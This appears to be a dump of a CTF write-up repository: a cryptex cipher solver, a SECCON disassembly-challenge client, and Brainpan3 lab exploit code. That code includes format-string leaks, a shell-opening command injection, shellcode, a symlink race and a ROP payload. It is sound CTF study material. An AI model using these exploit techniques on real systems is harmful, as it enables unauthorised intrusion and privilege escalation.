D A W K S C B F O 113 | S J L M H Q K M W J L H T Y S O P G K X N T I F H A 114 | G Z A O I Y Z F I W K M M P A I A K N K V M F T V I 115 | E Q Z A T E A O M F O K A J X X U Z J G O H P V Z T 116 | ''' 117 | 118 | # Convert grid to 26 individual tumblers 119 | cipher = zip(*[x.split() for x in cipher.splitlines()[1:]]) 120 | 121 | tumblers = [] 122 | final = [] 123 | psk = [5,24,4,20,23,2,11,22,19,15,10,18,16,1,14,3,25,9,6,12,26,7,13,17,21,8] 124 | 125 | # Create cryptex 126 | for index in psk: 127 | tumblers.append(cipher[index-1]) 128 | 129 | # Rotate tumblers to read ciphertext 130 | for index,tumbler in enumerate(tumblers): 131 | tumbler = deque(tumbler) 132 | while tumbler[0] != ciphertext[index]: 133 | tumbler.rotate(1) 134 | 135 | final.append(list(tumbler)) 136 | 137 | # Flip 2D array to read everyline 138 | """ 139 | a b 140 | c d 141 | | 142 | v 143 | a c 144 | b d 145 | """ 146 | final = zip(*final) 147 | 148 | # Print all 149 | for f in final: 150 | print ''.join(f) 151 | ``` 152 | 153 | -------------------------------------------------------------------------------- /saintcon-pre-4/cryptex.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/saintcon-pre-4/cryptex.jpg -------------------------------------------------------------------------------- /saintcon-pre-4/hc4.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/saintcon-pre-4/hc4.pdf -------------------------------------------------------------------------------- /saintcon-pre-4/tumblers.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/saintcon-pre-4/tumblers.png -------------------------------------------------------------------------------- /saintcon-pre-4/win.py: -------------------------------------------------------------------------------- 1 | from collections import deque 2 | ciphertext = 'AEBRVHWWMQHURVWFFIKVYFUCDG' 3 | cipher = ''' 4 | R C X G O R U Q P T U V X L Z N Q S P V P I T M K E 5 | X K N W G P D H X N G X P O B Q W O O O A P H Y Q Q 6 | A W K R W Z T Y Y G Y J H F E D L T Z A R G Z A T F 7 | Q Y V J R J G J E I N D D G Q J H A L C Q Z X K G D 8 | I P J C F L C Z S M T Y B K W V D E R I S B S L M B 9 | H X C B L W R C J V Q W C X O B T X C E X W R H W P 10 | O V H D U T X R T E F O V C M L G U Q J B E O Z C S 11 | V M E V Y X L U Q O H F E I U T E M Y L F L W D R C 12 | L E W Z N B F G B Q I B Y Q H F K R T F Y Y Q U P X 13 | Y S I N E S Y T A A X E K D C W C N M B G J A P S V 14 | T L F F D I M W D K W A O B N A V F X Y M D K I J R 15 | F T G X J C I K Z B M T Q U J C B L W N C X L G D L 16 | U N B T Z F N B O Z B R J T D S F Q V R I A G O L J 17 | W D M K V H W A R X C P L M L Z J C S S J U U N B U 18 | N G Q Q C V S L U Y J C N V K P O I U D L O J S Y N 19 | M B Y U Q A E N G C V N U E V U R B B Z W N E W A M 20 | C A S E A M H V V S P Q G Z I R S J I M T K B R O Z 21 | J O R P X G B D K L S U F H Y M I H G T Z C M E N K 22 | D F P H K K J E F R A L Z A R K N P E Q D F D C E W 23 | K H U S M N O X H H Z I W R P H Z V F P E Q Y X I H 24 | Z U T Y B D P P C P E Z I W F Y X W H H U V V J U G 25 | P R D L S U V I L U R S S N T G Y Y D U H R N Q X Y 26 | B I O I P O Q S N D D G R S G E M D A W K S C B F O 27 | S J L M H Q K M W J L H T Y S O P G K X N T I F H A 28 | G Z A O I Y Z F I W K M M P A I A K N K V M F T V I 29 | E Q Z A T E A O M F O K A J X X U Z J G O H P V Z T 30 | ''' 31 | 32 | # Convert grid to 26 individual tumblers 33 | cipher = zip(*[x.split() for x in cipher.splitlines()[1:]]) 34 | 35 | tumblers = [] 36 | final = [] 37 | psk = [5,24,4,20,23,2,11,22,19,15,10,18,16,1,14,3,25,9,6,12,26,7,13,17,21,8] 38 | 39 | # Create cryptex 40 | for index in psk: 41 | tumblers.append(cipher[index-1]) 42 | 43 | # Adjust wheels to read ciphertext 44 | for index,tumbler in enumerate(tumblers): 45 | tumbler = deque(tumbler) 46 | while tumbler[0] != ciphertext[index]: 47 | tumbler.rotate(1) 48 | 49 | final.append(list(tumbler)) 50 | 51 | # Flip 2D array to read everyline 52 | final = zip(*final) 53 | 54 | # Print all 55 | for f in final: 56 | print ''.join(f) 57 | -------------------------------------------------------------------------------- /seccon-ctf-2014/lets-disassemble/README.md: -------------------------------------------------------------------------------- 1 | # Lets Dissemble 2 | 3 | We are given a service that returns hex bytes that are assembly instructions. 4 | Our job is to create a client to respond with the correct instruction 5 | cooresponding to the given assembly. 6 | 7 | What language do we disassemble to, you might ask? Let's ask radare! 8 | 9 | ## Finding the given language 10 | 11 | I used [radare](http://github.com/radare/radare2) for this task. Radare is a multi-architecture and multi-platform command line reverse engineering toolkit. One tool in the tool box is `rasm2` which can take hex digits and convert them into the cooresponding assembly instruction. 12 | 13 | I looked at the supported languages via `rasm2 -L` 14 | 15 | ```bash 16 | $ rasm2 -L 17 | _dA_ 8 8051 PD 8051 Intel CPU 18 | _dA_ 16 32 arc GPL3 Argonaut RISC Core 19 | _dAe 16 32 64 arm BSD Capstone ARM disassembler 20 | adA_ 16 32 64 arm.gnu GPL3 Acorn RISC Machine CPU 21 | _d__ 16 32 arm.winedbg LGPL2 WineDBG's ARM disassembler 22 | _dA_ 16 32 avr GPL AVR Atmel 23 | adAe 16 32 bf LGPL3 Brainfuck 24 | _dA_ 16 cr16 LGPL3 cr16 disassembly plugin 25 | _dA_ 16 csr PD Cambridge Silicon Radio (CSR) 26 | adA_ 32 64 dalvik LGPL3 AndroidVM Dalvik 27 | ad__ 16 dcpu16 PD Mojang's DCPU-16 28 | _dA_ 32 64 ebc LGPL3 EFI Bytecode 29 | _dAe 8 gb LGPL3 GameBoy(TM) (z80-like) 30 | _dA_ 16 h8300 LGPL3 H8/300 disassembly plugin 31 | _d__ i4004 LGPL3 Intel 4004 microprocessor 32 | _dA_ 8 i8080 BSD Intel 8080 CPU 33 | adA_ 32 java Apache Java bytecode 34 | _dA_ 16 32 m68k BSD Motorola 68000 35 | _dA_ 32 malbolge LGPL3 Malbolge Ternary VM 36 | adAe 16 32 64 mips BSD Capstone MIPS disassembler 37 | adAe 32 64 mips.gnu GPL3 MIPS CPU 38 | _d__ 16 32 64 msil PD .NET Microsoft Intermediate Language 39 | _dA_ 16 msp430 LGPL3 msp430 disassembly plugin 40 | _dAe 32 nios2 GPL3 NIOS II Embedded Processor 41 | _dA_ 32 64 ppc BSD Capstone PowerPC disassembler 42 | _dA_ 32 64 ppc.gnu GPL3 PowerPC 43 | ad__ rar LGPL3 RAR VM 44 | _dA_ 32 sh GPL3 SuperH-4 CPU 45 | _dAe 32 64 sparc BSD Capstone SPARC disassembler 46 | _dA_ 32 64 sparc.gnu GPL3 Scalable Processor Architecture 47 | _d__ 16 spc700 LGPL3 spc700, snes' sound-chip 48 | _d__ 32 sysz BSD SystemZ CPU disassembler 49 | _dA_ 32 tms320 LGPLv3 TMS320 DSP family 50 | _dA_ 32 v850 LGPL3 v850 disassembly plugin 51 | _dA_ 32 ws LGPL3 Whitespace esotheric VM 52 | _dAe 16 32 64 x86 BSD Capstone X86 disassembler 53 | a___ 32 64 x86.nz LGPL3 x86 handmade assembler 54 | ad__ 32 x86.olly GPL2 OllyDBG X86 disassembler 55 | _dAe 16 32 64 x86.udis BSD udis86 x86-16,32,64 56 | _dAe 32 xcore BSD Capstone XCore disassembler 57 | adA_ 8 z80 NC-GPL2 Zilog Z80 58 | ad__ 8 16 psosvm BSD Smartcard PSOS Virtual Machine 59 | _d__ 32 propeller LGPL3 propeller disassembly plugin 60 | _d__ 8 16 6502 LGPL3 6502/NES/C64/T-1000 CPU 61 | a___ 16 32 64 x86.nasm LGPL3 X86 nasm assembler 62 | _d__ 8 16 snes LGPL3 SuperNES CPU 63 | a___ 16 32 64 x86.as LGPL3 Intel X86 GNU Assembler 64 | ``` 65 | 66 | By simply looped through this list sending back a response to the server until I received a second question. My initial assumption was that the server is single architecture, so once I found one successful answer, the rest should be easy-peasy. 67 | 68 | See [find_language.py](https://github.com/thebarbershopper/ctf-writeups/blob/master/seccon-ctf-2014/lets-disassemble/find_language.py) 69 | 70 | The script stopped at language `z80`. 71 | 72 | ```bash 73 | $ rasm2 -d AC -a z80 74 | xor h 75 | ``` 76 | 77 | Using this language moving forward, there was one more small bug to iron out before getting the golden flag. 78 | 79 | `rasm2` spit out a few commands where the offset arithmetic was adding a negative number instead of simply subtracting the correct value. The server wasn't too happy about this. The solution was to simply calculate the negative value and replace the offset with the correct subtraction. 80 | 81 | 82 | After solving 100 problems: 83 | ```bash 84 | [*] In: CB23 Out: sla e 85 | [*] In: 85 Out: add a, l 86 | [*] In: EDA9 Out: cpd 87 | [*] In: DDCBAF7E Out: bit 7, (ix-81) 88 | The flag is SECCON{I love Z80. How about you?} 89 | ``` 90 | -------------------------------------------------------------------------------- /seccon-ctf-2014/lets-disassemble/find_language.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import subprocess 3 | import re 4 | import string 5 | 6 | addr = 'disassemble.quals.seccon.jp' 7 | port = 23168 8 | 9 | archs = [ 10 | '8051', 11 | 'arc', 12 | 'arm', 13 | 'avr', 14 | 'bf', 15 | 'cr16', 16 | 'csr', 17 | 'dalvik', 18 | 'dcpu16', 19 | 'ebc', 20 | 'gb', 21 | 'h8300', 22 | 'i8080', 23 | 'java', 24 | 'm68k', 25 | 'malbolge', 26 | 'mips', 27 | 'msil', 28 | 'msp430', 29 | 'nios2', 30 | 'ppc', 31 | 'rar', 32 | 'sh', 33 | 'sparc', 34 | 'spc700', 35 | 'sysz', 36 | 'tms320', 37 | 'v850', 38 | 'ws', 39 | 'x86', 40 | 'xcore', 41 | 'z80', 42 | 'psosvm', 43 | 'propeller', 44 | '6502', 45 | 'x86.nasm', 46 | 'snes', 47 | ] 48 | 49 | for curr_arch in archs: 50 | with remote(addr, port) as r: 51 | arch = curr_arch 52 | 53 | # Grab problem 54 | msg = r.recv(timeout=3) 55 | print msg 56 | 57 | # Get only the assembly from problem 58 | asm = msg.split('\n')[0].split(':')[1].replace(' ','') 59 | 60 | # Call rasm2 with the assembly and correct architecture 61 | res = subprocess.check_output('rasm2 -d "{}" -a {}'.format(asm, arch), shell=True) 62 | try: 63 | print '{0} {1} {0}'.format('-'*20, arch) 64 | r.clean(1) 65 | r.sendline(res) 66 | log.info("In: {} Out: {}".format(asm, res)) 67 | if '#2' in r.recv(timeout=2): 68 | print "FOUND IT" 69 | raw_input() 70 | except Exception as e: 71 | print str(e) 72 | pass 73 | -------------------------------------------------------------------------------- /seccon-ctf-2014/lets-disassemble/win.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import subprocess 3 | import re 4 | import string 5 | 6 | addr = 'disassemble.quals.seccon.jp' 7 | port = 23168 8 | 9 | archs = [ 10 | '8051', 11 | 'arc', 12 | 'arm', 13 | 'avr', 14 | 'bf', 15 | 'cr16', 16 | 'csr', 17 | 'dalvik', 18 | 'dcpu16', 19 | 'ebc', 20 | 'gb', 21 | 'h8300', 22 | 'i8080', 23 | 'java', 24 | 'm68k', 25 | 'malbolge', 26 | 'mips', 27 | 'msil', 28 | 'msp430', 29 | 'nios2', 30 | 'ppc', 31 | 'rar', 32 | 'sh', 33 | 'sparc', 34 | 'spc700', 35 | 'sysz', 36 | 'tms320', 37 | 'v850', 38 | 'ws', 39 | 'x86', 40 | 'xcore', 41 | 'z80', 42 | 'psosvm', 43 | 'propeller', 44 | '6502', 45 | 'x86.nasm', 46 | 'snes', 47 | ] 48 | 49 | for curr_arch in archs: 50 | with remote(addr, port) as r: 51 | while True: 52 | arch = 'z80' 53 | 54 | # Grab problem 55 | msg = r.recv(timeout=3) 56 | if 'Congra' in msg: 57 | print r.recv(timeout=3) 58 | 59 | # Get only the assembly from problem 60 | asm = msg.split('\n')[0].split(':')[1].replace(' ','') 61 | # Call rasm2 with the assembly and correct architecture 62 | res = subprocess.check_output('rasm2 -d "{}" -a {}'.format(asm, arch), shell=True) 63 | 64 | """ 65 | There was a problem with signed offsets in rasm that the servers didn't enjoy. 66 | The solution was to get the cooresponding negative number and subtract that 67 | instead of adding a positive numher 68 | """ 69 | m = re.search(r'\+(0x[89abcdefABCDEF].)', res) 70 | if m: 71 | # res = subprocess.check_output('rasm2 -d "{}" -a {}'.format(asm, arch), shell=True) 72 | offset = int(m.group(1), 16) 73 | signed_offset = str(~(offset-257)) 74 | offset = '0x{}'.format(str(hex(offset))[2:4].upper()) 75 | # signed_offset = '0x{}'.format(str(hex(signed_offset))[2:4].upper()).replace('X','') 76 | res = res.replace('+' + offset, '-' + signed_offset) 77 | res = re.sub(r'a, ','',res) 78 | res = re.sub(r', ([{}])'.format(string.letters),r',\1',res) 79 | try: 80 | r.clean(1) 81 | r.sendline(res) 82 | log.info("In: {} Out: {}".format(asm, res)) 83 | except Exception as e: 84 | print str(e) 85 | break 86 | pass 87 | -------------------------------------------------------------------------------- /vulnhub/brainpan3/cryptor-buff1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/vulnhub/brainpan3/cryptor-buff1.png -------------------------------------------------------------------------------- /vulnhub/brainpan3/cryptor-buff2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/vulnhub/brainpan3/cryptor-buff2.png -------------------------------------------------------------------------------- /vulnhub/brainpan3/make-pwnmsg.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | elf = ELF('msg_admin') 4 | rop = ROP(elf) 5 | 6 | pivot = rop.search(move=20).address # Need to move the stack 16 bytes 7 | strtok = elf.got['strtok'] 8 | 9 | log.info("Pivot: {}".format(hex(pivot))) 10 | log.info("Strtok: {}".format(hex(strtok))) 11 | 12 | rop.puts(strtok) 13 | rop.puts(strtok) 14 | rop.puts(strtok) 15 | rop.puts(strtok) 16 | 17 | print rop.dump() 18 | 19 | with open('pwn.msg', 'w') as f: 20 | sc = str(rop) 21 | sc += 'A' * (cyclic_find('daac')-len(sc)) + p32(strtok) 22 | sc += 'B' * (216 - len(sc)) 23 | f.write('{}|{}\n'.format('a'*4, sc)) 24 | f.write('{}|{}\n'.format(p32(pivot), 'B'*12)) 25 | f.write('{}|{}\n'.format('c'*4, 'C'*12)) 26 | 27 | -------------------------------------------------------------------------------- /vulnhub/brainpan3/msg_admin_gadgets: -------------------------------------------------------------------------------- 1 | Gadgets information 2 | ============================================================ 3 | 0x080490ab : adc al, 0x41 ; ret 4 | 0x08048780 : add al, 0x24 ; je 0x804873a ; add al, 8 ; call eax 5 | 0x080487bd : add al, 0x24 ; je 0x8048777 ; add al, 8 ; call edx 6 | 0x080487bb : add al, 0xc7 ; add al, 0x24 ; je 0x8048779 ; add al, 8 ; call edx 7 | 0x080487e8 : add al, 8 ; add ecx, ecx ; ret 8 | 0x08048784 : add al, 8 ; call eax 9 | 0x080487c1 : add al, 8 ; call edx 10 | 0x08048768 : add al, 8 ; cmp eax, 6 ; ja 0x8048777 ; ret 11 | 0x08048c5a : add byte ptr [eax], al ; add cl, ch ; ret 0 12 | 0x08048598 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret 13 | 0x080490a8 : add cl, byte ptr [eax + 0xe] ; adc al, 0x41 ; ret 14 | 0x08048c5c : add cl, ch ; ret 0 15 | 0x08049071 : add dword ptr [eax], eax ; inc ecx ; ret 16 | 0x080490a4 : add eax, 0x2300e4e ; dec eax ; push cs ; adc al, 0x41 ; ret 17 | 0x080487e5 : add eax, 0x804b074 ; add ecx, ecx ; ret 18 | 0x08048aad : add eax, 0xfffb4de8 ; dec ecx ; ret 19 | 0x080489c0 : add eax, 0xfffc3ae8 ; dec ecx ; ret 20 | 0x08048feb : add eax, dword ptr [ebx + 0x1270304] ; ret 21 | 0x080487a2 : add eax, edx ; sar eax, 1 ; jne 0x80487af ; ret 22 | 0x080487ea : add ecx, ecx ; ret 23 | 0x08048dd9 : add esp, 0x1c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 24 | 0x0804859a : add esp, 8 ; pop ebx ; ret 25 | 0x08048dff : add esp, dword ptr [edx] ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret 26 | 0x0804880a : and al, 0x10 ; scasd eax, dword ptr es:[edi] ; add al, 8 ; call eax 27 | 0x08048781 : and al, 0x74 ; mov al, 4 ; or bh, bh ; ror cl, 1 ; ret 28 | 0x080487be : and al, 0x74 ; mov al, 4 ; or bh, bh ; ror cl, cl ; ret 29 | 0x080487ba : and al, 4 ; mov dword ptr [esp], 0x804b074 ; call edx 30 | 0x08048580 : call 0x8048756 31 | 0x08048786 : call eax 32 | 0x080487c3 : call edx 33 | 0x080487a5 : clc ; jne 0x80487ac ; ret 34 | 0x0804876b : clc ; push es ; ja 0x8048774 ; ret 35 | 0x08048d6f : cld ; ret 36 | 0x0804876a : cmp eax, 6 ; ja 0x8048775 ; ret 37 | 0x080490a9 : dec eax ; push cs ; adc al, 0x41 ; ret 38 | 0x080489c5 : dec ecx ; ret 39 | 0x080490a5 : dec esi ; push cs ; xor byte ptr [edx], al ; dec eax ; push cs ; adc al, 0x41 ; ret 40 | 0x08048dd8 : fild word ptr [ebx + 0x5e5b1cc4] ; pop edi ; pop ebp ; ret 41 | 0x0804877d : in al, dx ; sbb bh, al ; add al, 0x24 ; je 0x804873d ; add al, 8 ; call eax 42 | 0x08048949 : in al, dx ; sbb byte ptr [ebx + 0x5f], 0x5d ; ret 43 | 0x08048947 : inc dword ptr [ebx + 0x5f5b80ec] ; pop ebp ; ret 44 | 0x08049073 : inc ecx ; ret 45 | 0x0804876d : ja 0x8048772 ; ret 46 | 0x08048766 : je 0x8048721 ; add al, 8 ; cmp eax, 6 ; ja 0x8048779 ; ret 47 | 0x08048782 : je 0x8048738 ; add al, 8 ; call eax 48 | 0x080487bf : je 0x8048775 ; add al, 8 ; call edx 49 | 0x080487e6 : je 0x804879f ; add al, 8 ; add ecx, ecx ; ret 50 | 0x080487a6 : jne 0x80487ab ; ret 51 | 0x08048dd7 : jne 0x8048dc1 ; add esp, 0x1c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 52 | 0x08048d6d : lea esp, [ecx - 4] ; ret 53 | 0x08048788 : leave ; ret 54 | 0x08048dda : les ebx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret 55 | 0x0804859b : les ecx, ptr [eax] ; pop ebx ; ret 56 | 0x08048783 : mov al, 4 ; or bh, bh ; ror cl, 1 ; ret 57 | 0x080487c0 : mov al, 4 ; or bh, bh ; ror cl, cl ; ret 58 | 0x08048767 : mov al, 4 ; or byte ptr [ebx + 0x17706f8], al ; ret 59 | 0x080487e7 : mov al, 4 ; or byte ptr [ecx], al ; leave ; ret 60 | 0x080487e4 : mov byte ptr [0x804b074], 1 ; leave ; ret 61 | 0x08048808 : mov dword ptr [esp], 0x804af10 ; call eax 62 | 0x0804877f : mov dword ptr [esp], 0x804b074 ; call eax 63 | 0x080487bc : mov dword ptr [esp], 0x804b074 ; call edx 64 | 0x08048750 : mov ebx, dword ptr [esp] ; ret 65 | 0x0804874f : nop ; mov ebx, dword ptr [esp] ; ret 66 | 0x0804874d : nop ; nop ; mov ebx, dword ptr [esp] ; ret 67 | 0x0804874b : nop ; nop ; nop ; mov ebx, dword ptr [esp] ; ret 68 | 0x08048de8 : nop ; nop ; nop ; nop ; nop ; nop ; nop ; nop ; ret 69 | 0x08048de9 : nop ; nop ; nop ; nop ; nop ; nop ; nop ; ret 70 | 0x08048dea : nop ; nop ; nop ; nop ; nop ; nop ; ret 71 | 0x08048deb : nop ; nop ; nop ; nop ; nop ; ret 72 | 0x08048dec : nop ; nop ; nop ; nop ; ret 73 | 0x08048ded : nop ; nop ; nop ; ret 74 | 0x08048dee : nop ; nop ; ret 75 | 0x08048def : nop ; ret 76 | 0x08048785 : or bh, bh ; ror cl, 1 ; ret 77 | 0x080487c2 : or bh, bh ; ror cl, cl ; ret 78 | 0x08048769 : or byte ptr [ebx + 0x17706f8], al ; ret 79 | 0x080487e9 : or byte ptr [ecx], al ; leave ; ret 80 | 0x080487a1 : pop ds ; add eax, edx ; sar eax, 1 ; jne 0x80487b0 ; ret 81 | 0x08048d6c : pop ebp ; lea esp, [ecx - 4] ; ret 82 | 0x0804894d : pop ebp ; ret 83 | 0x0804894b : pop ebx ; pop edi ; pop ebp ; ret 84 | 0x08048d69 : pop ebx ; pop esi ; pop edi ; pop ebp ; lea esp, [ecx - 4] ; ret 85 | 0x08048ddc : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 86 | 0x0804859d : pop ebx ; ret 87 | 0x08048d68 : pop ecx ; pop ebx ; pop esi ; pop edi ; pop ebp ; lea esp, [ecx - 4] ; ret 88 | 0x08048d6b : pop edi ; pop ebp ; lea esp, [ecx - 4] ; ret 89 | 0x0804894c : pop edi ; pop ebp ; ret 90 | 0x08048d6a : pop esi ; pop edi ; pop ebp ; lea esp, [ecx - 4] ; ret 91 | 0x08048ddd : pop esi ; pop edi ; pop ebp ; ret 92 | 0x08048d6e : popal ; cld ; ret 93 | 0x080490aa : push cs ; adc al, 0x41 ; ret 94 | 0x080490a6 : push cs ; xor byte ptr [edx], al ; dec eax ; push cs ; adc al, 0x41 ; ret 95 | 0x08048d85 : push ebx ; call 0x8048757 96 | 0x0804876c : push es ; ja 0x8048773 ; ret 97 | 0x08048d84 : push esi ; push ebx ; call 0x8048758 98 | 0x080487a3 : rcl cl, 1 ; clc ; jne 0x80487ae ; ret 99 | 0x08048586 : ret 100 | 0x08048c5e : ret 0 101 | 0x08048c09 : ret 0x458b 102 | 0x08048a33 : ret 0x8941 103 | 0x080488e4 : ret 0xb8 104 | 0x0804879e : ret 0xeac1 105 | 0x08048787 : ror cl, 1 ; ret 106 | 0x080487c4 : ror cl, cl ; ret 107 | 0x0804906f : ror dword ptr [ecx + eax], 0 ; inc ecx ; ret 108 | 0x080487a4 : sar eax, 1 ; jne 0x80487ad ; ret 109 | 0x08048751 : sbb al, 0x24 ; ret 110 | 0x08048ddb : sbb al, 0x5b ; pop esi ; pop edi ; pop ebp ; ret 111 | 0x0804877e : sbb bh, al ; add al, 0x24 ; je 0x804873c ; add al, 8 ; call eax 112 | 0x0804894a : sbb byte ptr [ebx + 0x5f], 0x5d ; ret 113 | 0x0804880c : scasd eax, dword ptr es:[edi] ; add al, 8 ; call eax 114 | 0x0804879f : shr edx, 0x1f ; add eax, edx ; sar eax, 1 ; jne 0x80487b2 ; ret 115 | 0x08048948 : sub esp, -0x80 ; pop ebx ; pop edi ; pop ebp ; ret 116 | 0x0804857d : sub esp, 8 ; call 0x8048759 117 | 0x080490a7 : xor byte ptr [edx], al ; dec eax ; push cs ; adc al, 0x41 ; ret 118 | 119 | Unique gadgets found: 115 120 | -------------------------------------------------------------------------------- /vulnhub/brainpan3/repo-directory.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/vulnhub/brainpan3/repo-directory.png -------------------------------------------------------------------------------- /vulnhub/brainpan3/win.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import string 3 | import random 4 | 5 | 6 | r = remote('192.168.224.154', 1337) 7 | # Leak stack 8 | # print r.recv() 9 | r.clean() 10 | 11 | ### 12 | # Get access code 13 | ### 14 | r.sendline('%d.' * 3 + 'A' * 80) 15 | r.recvuntil("ACCESS CODE: ") 16 | output = r.recv() 17 | code = output.split('.')[2] 18 | 19 | log.info("Code identified: {}".format(code)) 20 | 21 | r.sendline(code) 22 | 23 | 24 | ### 25 | # Turn on reporting 26 | ### 27 | 28 | r.sendline('3') 29 | shellcode = '%x.' * 70 30 | r.clean() 31 | r.sendline(shellcode) 32 | r.recvuntil("SESSION: ") 33 | # r.recvuntil("SESSION: ") 34 | """ 35 | ['bfba64ac', '104', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', 'ff0a2e78', 'b778bc20', 'bfba65fc', '0', 'b778b000', 'b778bac0', 'b778c898', 'b75df940', 'b76510b5', 'b778bac0', '59', '4e', '59', 'b778b8a0', 'b778b000', 'b778bac0', '\n'] 36 | """ 37 | 38 | session_name = r.recvuntil('\n').split('.') 39 | # print session_name 40 | 41 | n_index = session_name.index('4e') 42 | log.info("Report 'N' at offset {}".format(n_index)) 43 | 44 | r.sendline('3') 45 | r.sendline('Y' * (4*(n_index-2) + 1) ) 46 | 47 | 48 | ### 49 | # After reporting 50 | ### 51 | 52 | for command in ['uname -a', 'whoami', 'id']: 53 | r.clean() 54 | r.sendline('1') 55 | r.sendline('$({} >&2)'.format(command)) 56 | 57 | r.recvuntil("SENDING TO REPORT MODULE") 58 | output = r.recvuntil('[+]').split('\n')[2] 59 | log.success("{} - {}".format(command, output)) 60 | 61 | r.clean() 62 | r.sendline('1') 63 | r.sendline('$(/bin/bash -i >&2)') 64 | 65 | log.success("Shell received: anansi") 66 | sleep(1) 67 | 68 | offset = cyclic_find('zaab') 69 | shellcode = 'A' * cyclic_find('zaab') + p32(0x804a080) 70 | buffer = 116 - len(shellcode) 71 | 72 | binsh_shellcode = asm(shellcraft.sh()) 73 | 74 | # Build argv1 75 | argv1 = '"A" * {} + "{}" + "C" * {}'.format(offset, r'\x80\xa0\x04\x08', buffer) 76 | 77 | # Build argv2 78 | argv2 = ''.join('\\x{}'.format(enhex(binsh_shellcode)[x:x+2]) for x in xrange(0, len(enhex(binsh_shellcode)), 2)) 79 | 80 | # Final command 81 | actual_shellcode = """./cryptor $(python -c 'print {}') $(python -c 'print "{}"')""".format(argv1, argv2) 82 | 83 | log.info(actual_shellcode) 84 | 85 | # Sometimes the command didn't work. This will repeat throwing the command until we get a reynard shell. 86 | r.sendline('cd /home/reynard/private') 87 | while True: 88 | r.clean() 89 | r.sendline(actual_shellcode) 90 | r.clean() 91 | r.sendline('id') 92 | output = r.recv() 93 | if 'reynard' in output: 94 | break 95 | 96 | log.success("Shell received: reynard") 97 | sleep(1) 98 | 99 | r.sendline('id') 100 | 101 | r.sendline(""" echo " 102 | import os 103 | import socket 104 | import telnetlib 105 | import subprocess 106 | 107 | HOST = 'localhost' 108 | PORT = 7075 109 | 110 | try: 111 | os.remove('/mnt/usb/key.txt') 112 | except: 113 | pass 114 | 115 | # Ensure we have a file to begin with 116 | subprocess.check_output(['touch', '/mnt/usb/key.txt']) 117 | 118 | # Connect and check for symlink 119 | r = socket.socket() 120 | r.connect((HOST, PORT)) 121 | 122 | # Quickly remove the non-symlinked file and re-symlink 123 | os.remove('/mnt/usb/key.txt') 124 | os.symlink('/home/puck/key.txt', '/mnt/usb/key.txt') 125 | 126 | # Try for our shellz 127 | t = telnetlib.Telnet() 128 | t.sock = r 129 | t.interact() 130 | 131 | r.close() 132 | " > win.py 133 | """) 134 | 135 | r.sendline("python win.py") 136 | r.clean() 137 | r.sendline("whoami") 138 | output = r.recv() 139 | log.success("Shell received: {}".format(output)) 140 | sleep(1) 141 | 142 | elf = ELF('msg_admin') 143 | rop = ROP(elf) 144 | 145 | pivot = rop.search(move=20).address # Need to move the stack 16 bytes 146 | strtok = elf.got['strtok'] 147 | 148 | log.info("Pivot: {}".format(hex(pivot))) 149 | log.info("Strtok: {}".format(hex(strtok))) 150 | 151 | rop.puts(strtok) 152 | rop.puts(strtok) 153 | rop.puts(strtok) 154 | rop.puts(strtok) 155 | 156 | print rop.dump() 157 | 158 | sc = str(rop) 159 | sc += 'A' * (cyclic_find('daac')-len(sc)) + p32(strtok) 160 | sc += 'B' * (216 - len(sc)) 161 | 162 | shellcode_file = '{}|{}\n'.format('a'*4, sc) 163 | shellcode_file += '{}|{}\n'.format(p32(pivot), 'B'*20) 164 | shellcode_file += '{}|{}\n'.format('c'*4, 'C'*20) 165 | 166 | with open('pwn.msg', 'w') as f: 167 | f.write(shellcode_file) 168 | 169 | r.sendline('echo "{}" > /home/puck/pwn.msg'.format(shellcode_file)) 170 | 171 | r.sendline('cd /home/puck') 172 | 173 | r.interactive() 174 | 175 | -------------------------------------------------------------------------------- /whitehat-2016/pwn3/libc-2.19.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/whitehat-2016/pwn3/libc-2.19.so -------------------------------------------------------------------------------- /whitehat-2016/pwn3/readfile: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/whitehat-2016/pwn3/readfile -------------------------------------------------------------------------------- /whitehat-2016/pwn3/win_1.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import string 3 | 4 | context.terminal = ['tmux', 'splitw', '-h'] 5 | 6 | r = None 7 | 8 | def write_file(name, data): 9 | r.sendline('1') 10 | 